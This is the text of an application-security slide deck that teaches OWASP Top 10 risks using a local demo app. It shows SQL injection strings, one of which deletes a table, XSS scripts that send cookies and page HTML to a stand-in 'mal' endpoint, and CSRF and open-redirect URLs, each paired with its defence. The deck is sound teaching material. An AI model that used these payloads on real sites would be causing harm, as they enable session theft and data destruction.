Introduction to Application Security

& OWASP Top 10 Risks

Part 2

@JohnNKing
JohnNKing.com/slides/owasp2017

OWASP Top 10 (2013)

  • A1 – Injection
  • A2 – Broken Authentication and Session Management
  • A3 – Cross-Site Scripting (XSS)
  • A4 – Insecure Direct Object References
  • A5 – Security Misconfiguration
  • A6 – Sensitive Data Exposure
  • A7 – Missing Function Level Access Control
  • A8 - Cross-Site Request Forgery (CSRF)
  • A9 - Using Components with Known Vulnerabilities
  • A10 – Unvalidated Redirects and Forwards

Agenda

  • A1 – Injection
  • A2 – Broken Authentication and Session Management
  • A3 – Cross-Site Scripting (XSS)
  • A4 – Insecure Direct Object References
  • A5 – Security Misconfiguration
  • A6 – Sensitive Data Exposure
  • A7 – Missing Function Level Access Control
  • A8 - Cross-Site Request Forgery (CSRF)
  • A9 - Using Components with Known Vulnerabilities
  • A10 – Unvalidated Redirects and Forwards

To the Demo

A1 – Injection

“Injection flaws occur when an application sends untrusted data to an interpreter.” (OWASP Top 10)


interpret(code + input + moreCode);
	

The interpreter can't tell code and input apart

SQL Injection Attack


INSERT INTO comments VALUES ('Hello', '');
	

INSERT INTO comments VALUES (''', '');
	

INSERT INTO comments VALUES ('Look I am a mod!', 'John'); --', '');
	

INSERT INTO comments VALUES ('Uh oh...', '');
	delete from comments;--', '');
	

How do we prevent this?


Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
		"INSERT INTO comments VALUES (' "
		+ comment.getComment()
		+ " ', ' "
		+ comment.getUsername()
		+ " ');");
	

Problem: User input is treated as SQL (even though it's enclosed in single quotes)

SQL Injection Defense

Parameterized Queries


PreparedStatement stmt = conn.prepareStatement(
		"INSERT INTO comments VALUES (?, ?)");
stmt.setString(1, comment.getComment());
stmt.setString(2, comment.getUsername());
stmt.execute();
	

Which version of the code is cleaner?

Sub-optimal alternatives: SQL escaping, validation, or character stripping

Questions?

Other Forms of Injection

  • Mail Header Injection
  • Command Line Injection
  • XPath Injection
  • LDAP Injection
  • ...and many more

A3 - Cross-Site Scripting (XSS)

“XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content.” (OWASP Top 10)

Does this sound a little familiar?

Persistent XSS Attack


Hello
	

<b>Interesting...<b>
	

<script>alert(":P")</script>
	

<script>var img = new Image();
	img.src = "http://localhost:8080/mal/?"
	+ document.cookie;</script>
	

Fortunately, in this case, the session ID is HttpOnly.
However, an attacker could use this approach to exfiltrate user-specific site content. For example:


<script>document.addEventListener("DOMContentLoaded", function(e) {
	var img = new Image();
	img.src = "http://localhost:8080/mal/?html="
		+ encodeURIComponent(document.documentElement.innerHTML);});
</script>
	

How do we prevent this?


<% for (Comment comment : comments) { %>
    <%= comment.getComment() %>
<% } %>
	

Problem: User input is treated as HTML

XSS Defense

HTML Escaping


<% for (Comment comment : comments) { %>
    <%= StringEscapeUtils.escapeHtml4(
     comment.getComment()) %>
<% } %>
	

Questions?

Bonus: Reflected XSS Attack


http://localhost:8080/appsecdemo/error.jsp?error=;)
		

http://localhost:8080/appsecdemo/error.jsp?
	error=<script>alert(":)");</script>
		

http://localhost:8080/appsecdemo/error.jsp?
	error=<script>window.location=
	"http://localhost:8080/mal/";</script>
		

Note: Some browsers will block this

A8 - Cross-Site Request Forgery (CSRF)

“Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.” (OWASP Wiki)

CSRF GET Attack


http://localhost:8080/appsecdemo/AddUser?name=BadGuy
		

What happens if an attacker hits this link?

What about a moderator?

How do we prevent this?

???

(Surface) Problem: We're allowing GET requests to AddUser

We should fix this, but that's not good enough!

CSRF POST Attack

  1. Attacker makes a copy of addUser.jsp: http://localhost:8080/mal/form1.html
  2. Adds a default username to the form: http://localhost:8080/mal/form2.html
  3. And makes the form submit on load: http://localhost:8080/mal/form3.html

How do we prevent this?


<form action="/appsecdemo/AddUser" method="POST">
	<input type="text" name="name">
	<button type="submit">Add</button>
</form>
	

We need a way of distinguishing:

  • Add Moderator form ⇒ AddUser action
  • Bad guy’s form ⇒ AddUser action

CSRF Defense

  • Synchronizer Tokens
  • Verify Origin or Referer Header
  • Custom HTTP Headers (for Web Services)
  • CAPTCHAs


See the OWASP CSRF Prevention Cheat Sheet for more approaches

Note: Most of these defenses can be circumvented if there are XSS vulnerabilites!

Questions?

A10 - Unvalidated Redirects and Forwards

“Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.” (OWASP Top 10)

Unvalidated Redirect Attack

http://localhost:8080/appsecdemo/login.jsp?destination=http://localhost:8080/mal/

How do we prevent this?


String destination = request.getParameter("destination");
...
response.sendRedirect(destination);
	

Problem: We're permitting any user provided destination

Unvalidated Redirect Defense

Don’t allow redirects, or validate destination parameters


String destination = "/appsecdemo/";
if ("addMod".equals(request.getParameter("destination"))) {
    destination += "addMod.jsp";
}
response.sendRedirect(destination);
	

Questions?

Next Steps

Thanks!

@JohnNKing
JohnNKing.com/slides/owasp2017
github.com/JohnNKing/appsecdemo

Thank you to our host Nixon Peabody LLP
Rochester Chapter of OWASP
OWASP Top 10 Project
OWASP CSRFGuard Project

Slides made with Reveal.js